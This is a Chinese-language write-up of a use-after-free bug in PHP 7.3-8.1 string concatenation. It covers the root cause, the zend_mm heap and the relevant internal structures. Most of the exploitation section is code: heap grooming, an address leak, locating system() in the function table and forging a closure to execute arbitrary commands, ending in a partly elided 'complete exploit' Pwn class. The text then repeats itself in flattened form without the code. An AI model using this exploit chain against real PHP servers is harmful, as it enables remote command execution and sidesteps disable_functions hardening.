PHP的concat操作导致的UAF利用脚本分析
字数 1012 2025-08-27 12:33:31

PHP字符串连接操作UAF漏洞分析与利用

漏洞概述

PHP 7.3-8.1版本中存在一个由于字符串连接操作(concat)导致的Use-After-Free(UAF)漏洞。当连接操作的参数为数组时会触发错误处理,如果在错误处理回调中删除了相关资源,会造成UAF条件。

漏洞原理

触发条件

$my_var = str_repeat("a", 1);
set_error_handler(function() use (&$my_var) {
    echo("error\n");
    $my_var = 0x123;
});
$my_var .= [0];

漏洞分析

  1. 错误处理流程

    • 当执行$my_var .= [0]时,PHP尝试将数组转换为字符串
    • 由于数组不能直接转换为字符串,触发错误处理
    • 在错误处理回调中修改了$my_var的值,导致原始字符串资源被释放
  2. 内存管理细节

    • PHP使用zend_mm内存管理器,采用大小规格(small/large/huge)分配策略
    • 字符串和数组结构可能分配到相同大小的内存块
    • 释放后的内存块被放入空闲链表,可能被后续分配重用
  3. UAF形成

    • 错误处理中释放了原始字符串的内存
    • 后续操作仍可能访问已释放的内存区域
    • 通过精心构造可以控制释放后的内存内容

利用技术

利用步骤

  1. 堆风水(Heap Feng Shui)
    • 预先分配和释放特定大小的内存块
    • 控制堆布局使目标对象分配到特定位置
for($i = 0; $i < 10; $i++) {
    $groom[] = self::alloc(self::STRING_SIZE);
    $groom[] = self::alloc(self::HT_STRING_SIZE);
}
  1. 触发UAF
    • 通过字符串连接操作触发错误处理
    • 在回调中释放目标对象并分配可控数据
$arr = [[], []];
set_error_handler(function() use (&$arr, &$buf) {
    $arr = 2;
    $buf = str_repeat("\x00", self::HT_STRING_SIZE);
});
$arr[1] .= self::alloc(self::STRING_SIZE - strlen("Array"));
  1. 信息泄露
    • 利用释放后重用读取关键数据结构地址
    • 包括对象句柄、类指针、函数表等
private function rel_read($offset) {
    return self::str2ptr($this->abc, $offset);
}
  1. 函数地址解析
    • 通过模块结构遍历找到标准函数表
    • 定位关键函数如system()的地址
private function get_system($basic_funcs) {
    $addr = $basic_funcs;
    do {
        $f_entry = $this->read($addr);
        $f_name = $this->read($f_entry, 6);
        if($f_name === 0x6d6574737973) { // "system"
            return $this->read($addr + 8);
        }
        $addr += 0x20;
    } while($f_entry !== 0);
}
  1. 伪造闭包对象
    • 复制原始闭包结构到可控内存区域
    • 修改关键字段如处理函数指针
$fake_closure_off = 0x70;
for($i = 0; $i < 0x138; $i += 8) {
    $this->rel_write($fake_closure_off + $i, $this->read($closure_addr + $i));
}
$this->rel_write($fake_closure_off + $handler_offset, $zif_system);
  1. 执行任意命令
    • 通过修改后的闭包对象调用目标函数
    • 实现任意命令执行
($this->helper->b)($cmd);

关键数据结构

  1. zend_string结构

    struct _zend_string {
        zend_refcounted_h gc;
        zend_ulong h;      // hash value
        size_t len;
        char val[1];
    };
    
  2. zend_object结构

    struct _zend_object {
        zend_refcounted_h gc;
        uint32_t handle;
        zend_class_entry *ce;
        const zend_object_handlers *handlers;
        HashTable *properties;
        zval properties_table[1];
    };
    
  3. zend_closure结构

    typedef struct _zend_closure {
        zend_object std;
        zend_function func;
        zval this_ptr;
        zend_class_entry *called_scope;
        zif_handler orig_internal_handler;
    } zend_closure;
    

利用限制

  1. PHP版本:仅影响PHP 7.3-8.1版本
  2. 内存布局:依赖精确的堆布局控制
  3. 防护机制:可能被ASLR等安全机制干扰

防护建议

  1. 及时升级到PHP安全版本
  2. 禁用危险函数或使用disable_functions限制
  3. 启用内存保护机制如ASLR、DEP

完整利用代码

class Pwn {
    const LOGGING = false;
    const CHUNK_DATA_SIZE = 0x60;
    const CHUNK_SIZE = ZEND_DEBUG_BUILD ? self::CHUNK_DATA_SIZE + 0x20 : self::CHUNK_DATA_SIZE;
    const STRING_SIZE = self::CHUNK_DATA_SIZE - 0x18 - 1;
    const HT_SIZE = 0x118;
    const HT_STRING_SIZE = self::HT_SIZE - 0x18 - 1;

    public function __construct($cmd) {
        // 堆风水准备
        for($i = 0; $i < 10; $i++) {
            $groom[] = self::alloc(self::STRING_SIZE);
            $groom[] = self::alloc(self::HT_STRING_SIZE);
        }
        
        // 触发UAF并泄露信息
        $concat_str_addr = self::str2ptr($this->heap_leak(), 16);
        $fill = self::alloc(self::STRING_SIZE);
        
        // 计算目标地址并释放
        $abc_addr = $concat_str_addr + self::CHUNK_SIZE;
        $this->free($abc_addr);
        
        // 分配Helper对象到释放的空间
        $this->helper = new Helper;
        if(strlen($this->abc) < 0x1337) {
            self::log("uaf failed");
            return;
        }
        
        // 设置Helper属性
        $this->helper->a = "leet";
        $this->helper->b = function($x) {};
        $this->helper->c = 0xfeedface;
        
        // 读取关键地址
        $helper_handlers = $this->rel_read(0);
        $closure_addr = $this->rel_read(0x20);
        $closure_ce = $this->read($closure_addr + 0x10);
        
        // 定位system函数
        $basic_funcs = $this->get_basic_funcs($closure_ce);
        $zif_system = $this->get_system($basic_funcs);
        
        // 伪造闭包对象
        $fake_closure_off = 0x70;
        for($i = 0; $i < 0x138; $i += 8) {
            $this->rel_write($fake_closure_off + $i, $this->read($closure_addr + $i));
        }
        $this->rel_write($fake_closure_off + 0x38, 1, 4);
        $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
        $this->rel_write($fake_closure_off + $handler_offset, $zif_system);
        
        // 执行命令
        $fake_closure_addr = $abc_addr + $fake_closure_off + 0x18;
        $this->rel_write(0x20, $fake_closure_addr);
        ($this->helper->b)($cmd);
        
        // 恢复原始闭包
        $this->rel_write(0x20, $closure_addr);
        unset($this->helper->b);
    }
    
    // 其他辅助方法...
}

总结

该漏洞利用PHP字符串连接操作的特殊错误处理路径,结合堆内存管理特性,实现了从UAF到任意代码执行的完整利用链。理解该漏洞需要对PHP内部数据结构、内存管理和函数调用机制有深入认识。防护此类漏洞需要及时更新PHP版本并实施适当的安全加固措施。

PHP字符串连接操作UAF漏洞分析与利用 漏洞概述 PHP 7.3-8.1版本中存在一个由于字符串连接操作(concat)导致的Use-After-Free(UAF)漏洞。当连接操作的参数为数组时会触发错误处理,如果在错误处理回调中删除了相关资源,会造成UAF条件。 漏洞原理 触发条件 漏洞分析 错误处理流程 : 当执行 $my_var .= [0] 时,PHP尝试将数组转换为字符串 由于数组不能直接转换为字符串,触发错误处理 在错误处理回调中修改了 $my_var 的值,导致原始字符串资源被释放 内存管理细节 : PHP使用 zend_mm 内存管理器,采用大小规格(small/large/huge)分配策略 字符串和数组结构可能分配到相同大小的内存块 释放后的内存块被放入空闲链表,可能被后续分配重用 UAF形成 : 错误处理中释放了原始字符串的内存 后续操作仍可能访问已释放的内存区域 通过精心构造可以控制释放后的内存内容 利用技术 利用步骤 堆风水(Heap Feng Shui) : 预先分配和释放特定大小的内存块 控制堆布局使目标对象分配到特定位置 触发UAF : 通过字符串连接操作触发错误处理 在回调中释放目标对象并分配可控数据 信息泄露 : 利用释放后重用读取关键数据结构地址 包括对象句柄、类指针、函数表等 函数地址解析 : 通过模块结构遍历找到标准函数表 定位关键函数如 system() 的地址 伪造闭包对象 : 复制原始闭包结构到可控内存区域 修改关键字段如处理函数指针 执行任意命令 : 通过修改后的闭包对象调用目标函数 实现任意命令执行 关键数据结构 zend_ string结构 : zend_ object结构 : zend_ closure结构 : 利用限制 PHP版本 :仅影响PHP 7.3-8.1版本 内存布局 :依赖精确的堆布局控制 防护机制 :可能被ASLR等安全机制干扰 防护建议 及时升级到PHP安全版本 禁用危险函数或使用disable_ functions限制 启用内存保护机制如ASLR、DEP 完整利用代码 总结 该漏洞利用PHP字符串连接操作的特殊错误处理路径,结合堆内存管理特性,实现了从UAF到任意代码执行的完整利用链。理解该漏洞需要对PHP内部数据结构、内存管理和函数调用机制有深入认识。防护此类漏洞需要及时更新PHP版本并实施适当的安全加固措施。